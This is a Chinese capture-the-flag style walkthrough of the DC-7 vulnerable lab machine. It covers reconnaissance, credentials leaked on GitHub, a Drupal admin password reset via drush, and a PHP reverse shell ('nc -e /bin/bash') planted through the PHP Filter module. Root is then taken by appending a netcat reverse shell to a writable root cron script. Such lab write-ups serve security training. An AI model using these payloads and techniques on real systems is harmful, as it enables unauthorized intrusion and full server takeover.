DC-7靶机做题记录

靶机下载地址:

复制代码
链接:https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky 
提取码:tdky 

参考:

描述:

复制代码
DESCRIPTION 说明
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-7是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

While this isn't an overly technical challenge, it isn't exactly easy.
虽然这不是一个过于技术性的挑战,但也并不容易。

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
虽然这是早期DC版本的一个逻辑进展(我不会告诉你是哪一个),但其中涉及一些新概念,但你需要自己弄清楚。:-)如果你需要诉诸暴力或字典攻击,你可能不会成功。

What you will need to do, is to think "outside" of the box.
你需要做的是跳出框框思考。

Waaaaaay "outside" of the box. :-)
Waaaaaay"在盒子外面"。:-)

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

1、导入VMware虚拟机

复制代码
下载完成后,得到DC-7.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置

3、kali创建一个目录 dc7 ,后续的操作都在该目录下进行

使用工具

攻击者:kali 192.168.1.128

靶机:dc-3 192.168.1.135

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述

发现靶机192.168.1.135开放了80和22端口

判断 CMS

来到 DC7 Web ⻚⾯,可以看到 CMS 是 Drupal

再次信息收集

发现主⻚存在⼀些信息:

发现下面有一个@DC7USER

那我们就用搜索引擎去搜索一下,发现了一个Github

config.php配置文件中发现了账号密码

尝试登录web页面,发现无法登录

那就尝试SSH登录,登录成功

复制代码
ssh dc7user@192.168.1.135

发现了个root用户的定时文件backups.sh,接下来看一下文件权限

复制代码
ls -la /opt/scripts/
复制代码
-rwxrwxr-x 1 root www-data  520 Aug 29  2019 backups.sh
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,只有读和执行的权限

backups.sh 内容如下 :

再回到/home/dc7user目录下查看一下,

发现 backups:备份⽂件

mbox:内容看着像⼀个定时备份,但是失败⽽保存的邮件

还有 .drush 这个目录

backups.sh 中也有 drush命令

发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令

drush修改密码

使用这个命令需要先切换到drupal的目录

复制代码
cd /var/www/html

查看用户信息

我们查看一下admin的用户信息

复制代码
drush user-information admin

接下来修改admin的密码

复制代码
drush upwd admin --password="admin"

然后我们登录后台,用admin管理员的账号

成功登录

反弹shell

进入后台之后,我们要写木马来进行反弹shell

点击内容,并点击编辑,看看能不能把PHP代码写进去

并未发现支持PHP代码的

这个时候我们需要安装 PHP Filter 模块

先把它下载到本地

然后拖进去进行安装

还需要再勾选一遍

这样才算成功安装

此时,页面编辑器中就出现了 PHP code

在 Body 中添加反弹shell 的pho代码

复制代码
<?php system("nc -e /bin/bash 192.168.1.128 1234");?>

点击保存

现在先在我们的kali里面监听1234端口

复制代码
nc -lvvnp 1234

然后访问一下 Welcome to DC-7这个页面,来让它解析PHP代码以触发反弹shell 的命令

成功反弹过来了

优化 SHELL

复制代码
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

权限提升

修改定时脚本⽂件提权

复制代码
echo "nc -e /bin/bash 192.168.1.128 4321" >> backups.sh

本地监听:

复制代码
nc -lvvnp 4321

等待反弹过来即可

因为这个backups.sh的脚本是以root的身份执行的,所以弹回来的shell也是root权限的shell

提权成功!

成功获取到flag!

总结

  1. 第一步非常难,就是要找到它的Github的信息泄露
  2. 对drush的了解,可能国外的人用到就比较多
  3. 要解决它支持PHP代码的问题,需要安装支持PHP的插件
  4. 对定时任务的了解,邮件的定时任务,能够去发现一些脚本的内容

完毕!

相关推荐
njsgcs23 分钟前
tekla 使用笔记 切管 分割指定长度的管
笔记·tekla
奋斗的牛马29 分钟前
OFDM理解
网络·数据库·单片机·嵌入式硬件·fpga开发·信息与通信
忧郁的橙子.1 小时前
一、Rabbit MQ 初级
服务器·网络·数据库
蒙奇D索大2 小时前
【算法】 递归实战应用:从暴力迭代到快速幂的优化之路
笔记·考研·算法·改行学it
('-')2 小时前
《从根上理解MySQL》第一章学习笔记
笔记·学习·mysql
q***7482 小时前
在Linux系统上使用nmcli命令配置各种网络(有线、无线、vlan、vxlan、路由、网桥等)
linux·服务器·网络
我也要当昏君3 小时前
4.1.8 【2022 统考真题】
运维·服务器·网络
d111111111d3 小时前
STM32外设学习-串口发送数据-接收数据(笔记)
笔记·stm32·学习
記億揺晃着的那天3 小时前
WebSocket 通俗讲解
网络·websocket·网络协议·实时通信
无聊的小坏坏3 小时前
从 OneThreadOneLoop 线程池到进程池:高性能 Reactor 服务器的演进
服务器·网络·一个进程一个事件循环